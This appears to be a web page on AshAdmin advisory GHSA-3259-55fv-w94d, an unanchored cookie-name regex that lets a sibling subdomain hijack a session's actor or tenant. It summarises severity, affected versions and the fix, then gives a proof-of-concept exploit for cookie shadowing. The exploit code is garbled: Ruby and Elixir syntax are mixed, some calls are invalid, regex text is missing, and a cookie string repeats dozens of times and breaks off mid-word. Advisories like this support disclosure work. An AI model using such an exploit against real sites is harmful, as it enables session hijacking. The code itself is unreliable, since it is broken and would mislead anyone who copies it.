AshAdmin GHSA-3259-55fv-w94d: Cookie name substring matching vulnerability with POC

Vulnerability Key Information Summary Vulnerability Overview Vulnerability Name: Substring Matching Vulnerability in Cookie Names in AshAdmin Client JS Vulnerability ID: GHSA-3259-55fv-w94d Severity: High (8.3/10) Vulnerability Type: Cookie Name Substring Matching Core Issue: The cookie reader constructs a regex pattern using . Because the cookie name boundaries are not anchored, an attacker can hijack/rebind the session's actor/tenant by setting a crafted cookie (e.g., ) on a sibling subdomain. Scope of Impact Affected Versions: >= 0.9.1 < 1.3.1 Fixed Version: 1.3.1 Affected Entities: Any scenario where AshAdmin is running and there exists a sibling subdomain under its domain that can be controlled or compromised by an attacker Attack Condition: The attacker must control a sibling subdomain under the parent domain that is sorted before the legitimate cookies Remediation Upgrade to version 1.3.1 Fix Method: Anchor the regex pattern and escape the inserted name (i.e., anchor boundaries for the cookie name and escape it to avoid substring mismatches) POC / Exploitation Code ```ruby POC: ash_admin 1.3.0 - unanchored cookie-name regex in the shipped admin JS bundle lets a cookie value name-suffix "bind with" the requested name shadow the real one, poisoning the LiveSocket connect params. Outside-attacker model: The victim logs in to Ash Admin using its page inline private/static/assets/app.js bundle (AshAdmin.layout.render("app.js")). Here a Bundler endpoint serves that exact file, and the "browser" fetches it over HTTP from 127.0.0.1 - nothing in bundle sets the whole registrable domain, so the attacker sets actor_authorizing=true, domain=example.com, path=/ which the victim's browser serializes into document.cookie "before" the admin's own cookies. getCookie() is then applied - with the regex source extracted from the fetched bundle - to that document.cookie string, and the resulting connect params are sent to the server exactly as LiveSocket expects them. The regex name = "([\\s\\S]?);" has identical matching semantics to JS RegExp and Erlang (re for this pattern, re:re is used as the evaluator. require 'httpclient' require 'json' Minimal stand-in for an Ash Admin mount: serves the shipped bundle and accepts LiveSocket connect params via Plug.Router plug(:match) plug(:dispatch) get "/assets/app.js" do js = File.read(Application.app_dir/ash_admin/"private/static/assets/app.js") send_resp(200, js) end get "/live/websocket" do params = parse_query_params send_resp(200, "ok") end match do send_resp(404, "") end The victim's browser: runs the fetched getCookie() over document.cookie. def get_cookie(name, document_cookie) re = Regexp.compile(name + "=([\\s\\S]?);") m = re.match(document_cookie) m ? URI.decode(m[1]) : nil end def param(document_cookie, name) get_cookie(name, document_cookie) end 1. The victim's browser loads the same page and fetches the shipped bundle. base = "http://127.0.0.1:#{port}" js = http_get(base + "/assets/app.js").body get_cookie_fn = Regexp.scan(/function getCookie\(name\)\s{.?}/m, js).first getCookie() as served by the victim over HTTP names = Regexp.scan(/getCookie\("([\w.-]+)"/, js).map { 2. Cookies the admin itself set for this user (honest state). honest_cookies = "tenant=real_tenant; actor_resource=App.Accounts.User; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizing=true; actor_authorizin

Goal Reached Thanks to every supporter — we hit 100%!

AshAdmin GHSA-3259-55fv-w94d: Cookie name substring matching vulnerability with POC

More from this source